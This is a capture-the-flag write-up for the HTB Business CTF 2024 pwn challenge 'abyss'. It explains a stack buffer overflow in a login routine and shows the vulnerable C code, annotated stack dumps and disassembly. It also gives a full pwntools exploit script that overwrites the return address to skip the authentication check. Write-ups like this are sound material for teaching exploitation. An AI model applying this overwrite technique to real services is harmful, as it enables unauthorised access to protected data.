HTB Business CTF 2024 - pwn - abyss

2024 May 17 7 min read by Csongor Tamás CTF HACKTHEBOX PWN BUFFER OVERFLOW ROP

TL;DR

There is a byte copy in `cmd_login()` that copies until `00` and our input is not terminated after `read`, so there is a stack buffer overflow. The trick is that the index `i` is also in the path of the overwrite so we can jump over `RBP` to write on `RET` and not corrupt it.

This challenge was marked `easy` (34 solves).

- Challenge: pwn_abyss.zip
- Exploit: exploit.py

The task

You can download the source code of the challenge **here**. `main` just reads the valid `user` and `pass` combination from the `.creds` file to global variables and then waits for our command. `READ` command allows us to read a file on the server (`flag.txt`), but only if the global `logged_in` variable is not `0`. `LOGIN` command allows us to provide a username and a password. If they match the ones that were read previously, `logged_in` is set to `1`.

Exploit

The vulnerability is present in `cmd_login()` function.

```
void cmd_login()
{
    char pass[MAX_ARG_SIZE] = {0};
    char user[MAX_ARG_SIZE] = {0};
    char buf[MAX_ARG_SIZE];
    int i;

    memset(buf, '\0', sizeof(buf));
```

```
    if (read(0, buf, sizeof(buf)) < 0)
        return;

    if (strncmp(buf, "USER ", 5))
        return;

    i = 5;
    while (buf[i] != '\0')
    {
        user[i - 5] = buf[i];
        i++;
    }
    user[i - 5] = '\0';

    memset(buf, '\0', sizeof(buf));
    if (read(0, buf, sizeof(buf)) < 0)
        return;

    if (strncmp(buf, "PASS ", 5))
        return;

    i = 5;
    while (buf[i] != '\0')
    {
        pass[i - 5] = buf[i];
        i++;
    }
    pass[i - 5] = '\0';

    if (!strcmp(VALID_USER, user) && !strcmp(VALID_PASS, pass))
    {
        logged_in = 1;
        puts("Successful login");
    }
}
```

It reads the user input to a zeroed 512 byte long buffer `buf`. Then copies it to `user` buffer until it sees a `\0` byte. The problem with this is, that if we send exactly 512 non-zero bytes to `read`, when the cycle reaches the last byte of `buf`, it won't stop, because the next byte (the first byte of `user`) is not `00`, it's the copied first byte of `buf`. So the copy won't stop here. Actually it wouldn't ever stop if it wasn't for `i`.

```
7ffd4317cc50: 5553 4552 2061 6161 6161 6161 6161 6161  USER aaaaaaaaaaa    <- buf
7ffd4317cc60: 6161 6161 6161 1c6b 6b6b 6b6b 6b6b 6b6b  aaaaaa.kkkkkkkkk
7ffd4317cc70: 6b6b eb14 4000 0000 0000 0000 0000 0000  kk..@...........
7ffd4317cc80: 0000 0000 0000 0000 0000 0000 0000 0000  ................
*
7ffd4317ce40: 0000 0000 0000 0000 0000 0000 0000 0000  ................
```

```
7ffd4317ce50: 0000 0000 0000 0000 0000 0000 0000 0000  ................    <- user
*
7ffd4317d040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffd4317d050: 0000 0000 0000 0000 0000 0000 0000 0000  ................    <- pass
*
7ffd4317d240: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffd4317d250: b8e3 1743 fd7f 0000 e0d2 6157 0500 0000  ...C......aW....    <- i (last
7ffd4317d260: 90e2 1743 fd7f 0000 ba17 4000 0000 0000  ...C......@.....
```

As you can see, `i` is 12 bytes after `pass`. (those 12 bytes are not used they are just skipped for alignment) The copy operation is the same for `pass`. So our exploit sequence is: Insert specific data in buf (more on this later). This gets copied to `user`. So our stack looks like this, after `buf` gets cleared:

```
7ffd4317cc50: 0000 0000 0000 0000 0000 0000 0000 0000  ................    <- buf
*
7ffd4317ce40: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffd4317ce50: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa    <- user
7ffd4317ce60: 611c 6b6b 6b6b 6b6b 6b6b 6b6b 6beb 1440  a.kkkkkkkkkk..@
7ffd4317ce70: 0000 0000 0000 0000 0000 0000 0000 0000  ................
*
7ffd4317d040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffd4317d050: 0000 0000 0000 0000 0000 0000 0000 0000  ................    <- pass
*
7ffd4317d240: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffd4317d250: b8e3 1743 fd7f 0000 e0d2 6157 0500 0000  ...C......aW....    <- i (last
7ffd4317d260: 90e2 1743 fd7f 0000 ba17 4000 0000 0000  ...C......@.....
```

Next, we fill `buf` with all non-zero bytes. As you can see, the first `00` byte is at `7ffd4317ce70` in the `user` array. When `buf` gets copied to `pass`, the content from `user+5` (all the `a`s) (+5 because `PASS ` will be stripped from `buf`) will overwrite bytes starting from `7ffd4317ce70`.

```
7ffd4317cc50: 5041 5353 2062 6262 6262 6262 6262 6262  PASS bbbbbbbbbb    <- buf
7ffd4317cc60: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
*
7ffd4317ce40: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
7ffd4317ce50: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa    <- user
7ffd4317ce60: 611c 6b6b 6b6b 6b6b 6b6b 6b6b 6beb 1440  a.kkkkkkkkkk..@
7ffd4317ce70: 0000 0000 0000 0000 0000 0000 0000 0000  ................
*
7ffd4317d040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffd4317d050: 0000 0000 0000 0000 0000 0000 0000 0000  ................    <- pass
*
7ffd4317d240: 0000 0000 0000 0000 0000 0000 0000 0000  ................
```

```
7ffd4317d250: b8e3 1743 fd7f 0000 e0d2 6157 0500 0000  ...C......aW....    <- i (last
7ffd4317d260: 90e2 1743 fd7f 0000 ba17 4000 0000 0000  ...C......@.....
```

The first non-`a` (`1c`) will overwrite the lowest byte of `i`. So let's view the stack **right before the overwrite**.

```
7ffd4317cc50: 5041 5353 2062 6262 6262 6262 6262 6262  PASS bbbbbbbbbb    <- buf
7ffd4317cc60: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
*
7ffd4317ce40: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
7ffd4317ce50: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa    <- user
7ffd4317ce60: 611c 6b6b 6b6b 6b6b 6b6b 6b6b 6beb 1440  a.kkkkkkkkkk..@
7ffd4317ce70: 0000 0000 0000 0000 0000 0000 0000 0000  ................
*
7ffd4317d040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffd4317d050: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb    <- pass
*
7ffd4317d230: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
7ffd4317d240: 6262 6262 6262 6262 6262 6261 6161 6161  bbbbbbbbbbbaaaaa
7ffd4317d250: 6161 6161 6161 6161 6161 6161 1102 0000  aaaaaaaaaaaa....    <- i (last
7ffd4317d260: 90e2 1743 fd7f 0000 ba17 4000 0000 0000  ...C......@.....
```

As you can see the current value of `i` is `0x211`, this is the offset of the next write from `7ffd4317d050` (-5), so the next write is at `7ffd4317d050 + 0x211 - 5 = 7ffd4317d25c` **right on top of i itself!**. So with the next byte (`1c`), we are going to overwrite the lowest byte of `i`, to *"jump over"* `i` and `RBP` and perform the next write at `7ffd4317d268`, the return address. This is **after the overwrite**:

```
7ffd4317cc50: 5041 5353 2062 6262 6262 6262 6262 6262  PASS bbbbbbbbbb    <- buf
7ffd4317cc60: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
*
7ffd4317ce40: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
7ffd4317ce50: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa    <- user
7ffd4317ce60: 611c 6b6b 6b6b 6b6b 6b6b 6b6b 6beb 1440  a.kkkkkkkkkk..@
7ffd4317ce70: 0000 0000 0000 0000 0000 0000 0000 0000  ................
*
7ffd4317d040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffd4317d050: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb    <- pass
*
7ffd4317d230: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
7ffd4317d240: 6262 6262 6262 6262 6262 6261 6161 6161  bbbbbbbbbbbaaaaa
7ffd4317d250: 6161 6161 6161 6161 6161 6161 1c02 0000  aaaaaaaaaaaa....    <- i (last
7ffd4317d260: 90e2 1743 fd7f 0000 ba17 4000 0000 0000  ...C......@.....
```

So now, the next write will be at `7ffd4317d050 + 0x21c + 1 - 5 = 7ffd4317d268` (the `+1` is the `i++` after the write). This is what the stack looks like at the end of `pass` copy:

```
7ffd4317cc50: 5041 5353 2062 6262 6262 6262 6262 6262  PASS bbbbbbbbbb    <- buf
7ffd4317cc60: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
*
7ffd4317ce40: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
7ffd4317ce50: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa    <- user
7ffd4317ce60: 611c 6b6b 6b6b 6b6b 6b6b 6b6b 6beb 1440  a.kkkkkkkkkk..@
7ffd4317ce70: 0000 0000 0000 0000 0000 0000 0000 0000  ................
*
7ffd4317d040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffd4317d050: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb    <- pass
*
7ffd4317d230: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
7ffd4317d240: 6262 6262 6262 6262 6262 6261 6161 6161  bbbbbbbbbbbaaaaa
7ffd4317d250: 6161 6161 6161 6161 6161 6161 2002 0000  aaaaaaaaaaaa ...    <- i (last
7ffd4317d260: 90e2 1743 fd7f 0000 eb14 4000 0000 0000  ...C......@.....
```

As you can see we overwrote the return address to `0x4014eb`, right after the check of `logged_in` in `cmd_read()`:

```
// EAX = 14 at this point
004014eb 85 c0           TEST       EAX,EAX
004014ed 75 11           JNZ        LAB_00401500
004014ef 48 8d 3d        LEA        RDI,[s_Not_logged_in_00402021]                =
          2b 0b 00 00
004014f6 e8 15 fc        CALL       libc.so.6::puts                               i
          ff ff
004014fb e9 b3 00        JMP        LAB_004015b3
          00 00
```

Now all we need to do is send `flag.txt` and that's it.

Here is the full exploit code:

```
from pwn import *
from pwnlib.util.cyclic import cyclic_gen
from pwnlib.util.fiddling import enhex, xor
from struct import pack

p = None
```

```python
def run():
    global p
    chall = "./abyss"
    context.binary = chall
    context.log_level = 'debug'
    p = process(chall)
#    p = remote("83.136.253.153", "58350")
    elf = ELF(chall)
#    libc = ELF("libc-2.31.so")

    g = cyclic_gen()
    p.send(p32(0))
    RET = b'\xeb\x14\x40' # 0x401485
    payload = b'a'*(0x5+0xc)
    payload += b'\x1c' + b'k'*(0xb) + RET
    p.send(b'USER ' + payload)

    p.send(b'PASS ' + b'b'*(0x200-5))

    p.send(b'flag.txt')
    p.interactive()

if __name__ == "__main__":
    run()
```

Previous post: **Windows catalog updates**
Next post: **HTB Business CTF 2024 - pwn - no_gadgets**

Want to message us? Contact us: **blog@ukatemi.com**

Back to home